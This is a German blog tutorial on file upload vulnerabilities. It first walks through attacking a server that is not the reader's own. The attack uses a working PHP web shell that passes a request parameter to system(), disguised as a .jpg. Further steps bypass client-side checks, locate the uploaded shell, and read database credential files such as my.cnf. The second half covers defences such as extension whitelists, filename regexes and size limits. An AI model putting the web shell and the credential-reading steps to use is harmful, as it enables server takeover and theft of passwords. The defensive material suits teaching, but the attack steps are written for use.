File Upload Vulnerability – Root mit Datei-Upload (Pentest)

Datei Upload Malware Steffen Lippke Hacking Series

Was ist eine File Upload Vulnerability?

Hacker können trojanische Viren bauen, die getarnt als Bild auf Deinem Server Schaden anrichten können.

Dieses Tutorial soll die Probleme und Lösungen des Dateiuploads darstellen.

Die Schattenseite des Dateiuploads

Ein weiterer beliebter Zugang für Hacker Deiner Webseite sind die Datei-Uploads:

Die Upload-Möglichkeit nutzen viele Webseiten zu der Erweiterung und Verbesserung ihres Kontaktformulars, für Bilder auf Verkaufsplattformen, zum Teilen auf Sozialen Medien oder in Foren für Profile.

Die Upload-Funktionen können Angreifer dafür missbrauchen andere Dateien hochzuladen. Schad-Scripts und Batchdateien sollen Deinen Server lahmlegen, die Daten löschen oder Deine Nutzerdaten abfangen.

Terminal einfach erklärt

Für den File Upload Vulnerability brauchen wir im ersten Schritt ein paar Grundlagen im Linux Terminal.

Terminals sind die Vorgänger der graphischen Oberfläche mit Maus, Bild und Animation. Vor Windows existierten fast nur textbasierte Computer, die nicht mit perfekt gerenderten 3D-Games glänzen konnten. In einem Terminal bekommt der Anwender „nur Text“ ausgegeben.

Über einem Terminal kann der Programmierer wesentlich mehr Funktionen und Features von Programmen ansprechen. Dazu fügt der Anwender z. B. zum Start eines Programms Start-Parameter hinzu.

Einführung in Shell in Linux Systemen

Lade im  ersten Schritt die Git Bash (mit Git) eine gescheite Kommandozeile für Windows herunter. Alternativ nutze Dein Linux Terminal. Das erste was Du beim Start des Termianl siehst, sieht so ähnlich aus:

benuzterName@RechnerName: ~$

Gebe mal „ls“ in die Kommandozeile ein.

benuzterName@RechnerName: ~$ ls

Das „ls“ Kommando gibt die Dateinamen in diesem (HOME-)Verzeichnis aus. Noch ein paar weitere Befehle

cd Desktop       Wechsle das Verzeichnis zu Desktop

cd ..            Gehe einen Ordner „höher“ – dein Benutzer Ordner

java             Start von Programmen nur durch den Namen

./nameProg      Wenn das Programm nicht in diesem Verzeichnis sich befindet, dann navigiert mit cd dort hin

java –r          Start eines Programms + ein Argument / Parameter für die Ausführung

Noch mehr zu Terminalbefehlen und –nutzung kannst Du unter guide.bash.academy kennenleren.

PHP Shell entwicklern – Root werden

In dieses Tutorial wollen wir als Ziel einen Server über den Datei-Upload zu hacken und in 8 Schritten in unseren Besitz nehmen:

  1. Um Deine Terminal-Befehle an einen Remote-Server weiterzugeben, der Dir nicht gehört müssen wir uns eine „Brücke“ bauen. Eine simple PHP-Datei getarnt als ein .jpg kann eine Verbindung mit der entfernten Kommandozeile herstellen.

<?php
if(isset($_REQUEST['kommando'])) {
$commandoline = ($_REQUEST['kommando']);
system($commandoline);
} else {
echo "Befehl eingeben!";
}?>

  1. Wir schalten im Browser unser JavaScript aus, sodass der Browser nicht client-seitig die Datei überprüfen kann. Ohne JavaScript umgeben wir die erste Sicherheitsbarriere für den Datei-Upload.
  2. Dann suchen wir uns einen Datei-Pfad einer ähnlichen Datei heraus. Ich erkläre, das Verfahren an dem Bespiel Profilbilder. Die Profilbilder können die Nutzer in den Foren oder im Chat hochladen
    1. Suche Dir ein Profilbild eines beliebigen Benutzers aus
    2. Klicke mit der rechten Maustaste auf das Bild
    3. dann auf Element untersuchen (Firefox)
    4. Kopiere den Link aus dem img-Tag (Attribut: src)
  3. Das Ergebnis könnte so aussehen:
    https://tollesforum.de/commons/thumb/profilbild.png
    Unsere „böse“ Datei finden wir wahrscheinlich im gleichen Ordner und geben den gleichen Ordner an.
    https://tollesforum.de/commons/thumb/hack.php
  4. Rufe die Datei im Browser auf und füge einen GET-Parameter an die URL ?kommando=
  5. Das Kommando Locate+my.cnf nennt Dir den Ort zu einer Passwortdatei.
  6. Navigiere zur dem Pfad der angezeigten Datei mit cat /PFAD/ZUR/DATEI.
  7. Der Browser gibt Dir sensible Daten wie Passwörter und Benutzernamen für Datenbanken heraus.

Sicherung gegen File Upload Vulnerability

Dieses Tutorial hat klargestellt, dass der Webseitenbesitzter nicht die Tür für Hacker mit einem Upload öffnen sollten. Eine vorsichtiger Programmierer sollte gegen Schadcode-Upload tiefe Gräben graben und Stacheldraht verlegen.

Normale Nutzer sollen weiterhin ihre eignen Bilder hochladen können.

Black- und Whitelisten – Effektiv

Beginnen wir folgende Dateien zu blacklisten: „.phtml“, „.shtml“, „.asa“, „.php5″,“.swf“, „.xap““.pht“, „.cer“,  „.asax“,

$file_parts = pathinfo($filename);
switch($file_parts['extension'])
{
case "jpg": // Ist ok
uploadData();
break;
case "":   // Dateinamen die mit dem Punkt enden
exit();
break;
default:  // Wirft den anderen Mist heraus
exit();
break;
}

Alle Datei mit „Fake-Doppelendung“ (hackeDichArm.php.jpg) sollen nicht auf dem Server hochladbar sein. Außerdem denke daran, dass UNIX zwischen Groß- und Kleinschreibung unterscheidet – ein hackeAlles.php ist nicht gleich zusetzen mit hackeAlles.PhP.

Dateinamen gegen File Upload Vulnerability

Ein Regex (Regular expression, dt. Regulärer Ausdruck) kann Dateinamen auf Regularität prüfen. Der Reguläre Ausdruck vermeidet ungewünschte Zeichen wie << , %, +, &….. Lerne Regex und nutzte als Spielweise zum Testen regex101.com

[a-zA-Z0-9]{1,200}\.[a-zA-Z0-9]{1,10}).

var dateinNamenPruefen =(function(){
var regex1=/^[^\\/:\*\?"<>\|]+$/; // darf nicht \ / : * ? " < > |
var regex2=/^\./; // Punkt am anfang verboten
var regex3=/^(nul|prn|con|lpt[0-9]|com[0-9])(\.|$)/i; // Blacklisted Dateinamen
return function dateinNamenPruefen (fname){
return regex1.test(fname)&&!regex2.test(fname)&&! regex3.test(fname);
}
})();

dateinNamenPruefen('file name');
Begrenze die Länge des Dateinamens auf 100 Symbole. Warum soll ich auch ein Profibild Mein_wundbares_Profil_Bild_fotografiert_mit_3_Grad_Schräge_und_schlechten_Laecheln.jpg nennen? PHP fängt solche Namen-Würmer ab:
if(strlen($_POST['name']) > 100) { echo "filename to long"; exit; }

Alles zur Dateigröße

Begrenze die Dateigröße auf eine Minimal- (!) und Maximalgröße der Datei (0,05 MB bis 2 MB für ein Profilbild). Die bekannten DoS Attacken können solche Limits einschränken – Auf einen PHP Server kann der Webseitenbesitzer das in der php.ini einstellen:

; Maximale Größe der Datei
upload_max_filesize = 40M
; größer oder gleich muss die POST-Anfrage-Größe sein
post_max_size = 40M

Sonstiges gegen bösen Upload

  • Verändere den Dateinamen beim Hochladen. Der Server sollte am besten eine Datumsangabe an den Dateinamen anfügen und den ganzen String noch mit MD5 hashen. So können Hacker ihre Datei nicht so einfach wiederfinden.
  • Der CORS Header Access-Control-Allow-Origin soll nur bekannte Quellen für die Webseite enthalten
  • Denke an eine CRSF Token
  • Geheimtipp: Virusscanner sind immer noch die besten Lösungen.

Credits

Icons made by Gregor Cresnar from www.flaticon.com is licensed by CC 3.0 BY  – Icons made by dDara from www.flaticon.com is licensed by CC 3.0 BY – Icons made by Icomoon from www.flaticon.com is licensed by CC 3.0 BY –Icons made by Those Icons from www.flaticon.com is licensed by CC 3.0 BY

Kommentare 2

  • Cool nur ich verstehe nur nicht was ich dann hinschreiben soll.

    • Für Dateien lohnt sich z.B. die VirusTotal API, die die Dateien vor dem Upload überprüft.Für Texte kannst Du z. B:

      $sth = $dbh->prepare('SELECT * FROM `userstable` WHERE `first_name` LIKE :anykeyword');
      $sth->bindParam(':anykeyword', $keyword, PDO::PARAM_STR);

      … nutzen.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert


Jeden Monat teile ich mit Mitgliedern
4 neue praxisnahe Tutorials (je 1000+ Wörter).


Trage Deine Mail, damit Du
Deine Coding + Hacking Skills erweitern kannst!

Die Webseite nutzt nur technisch notwendige Cookies.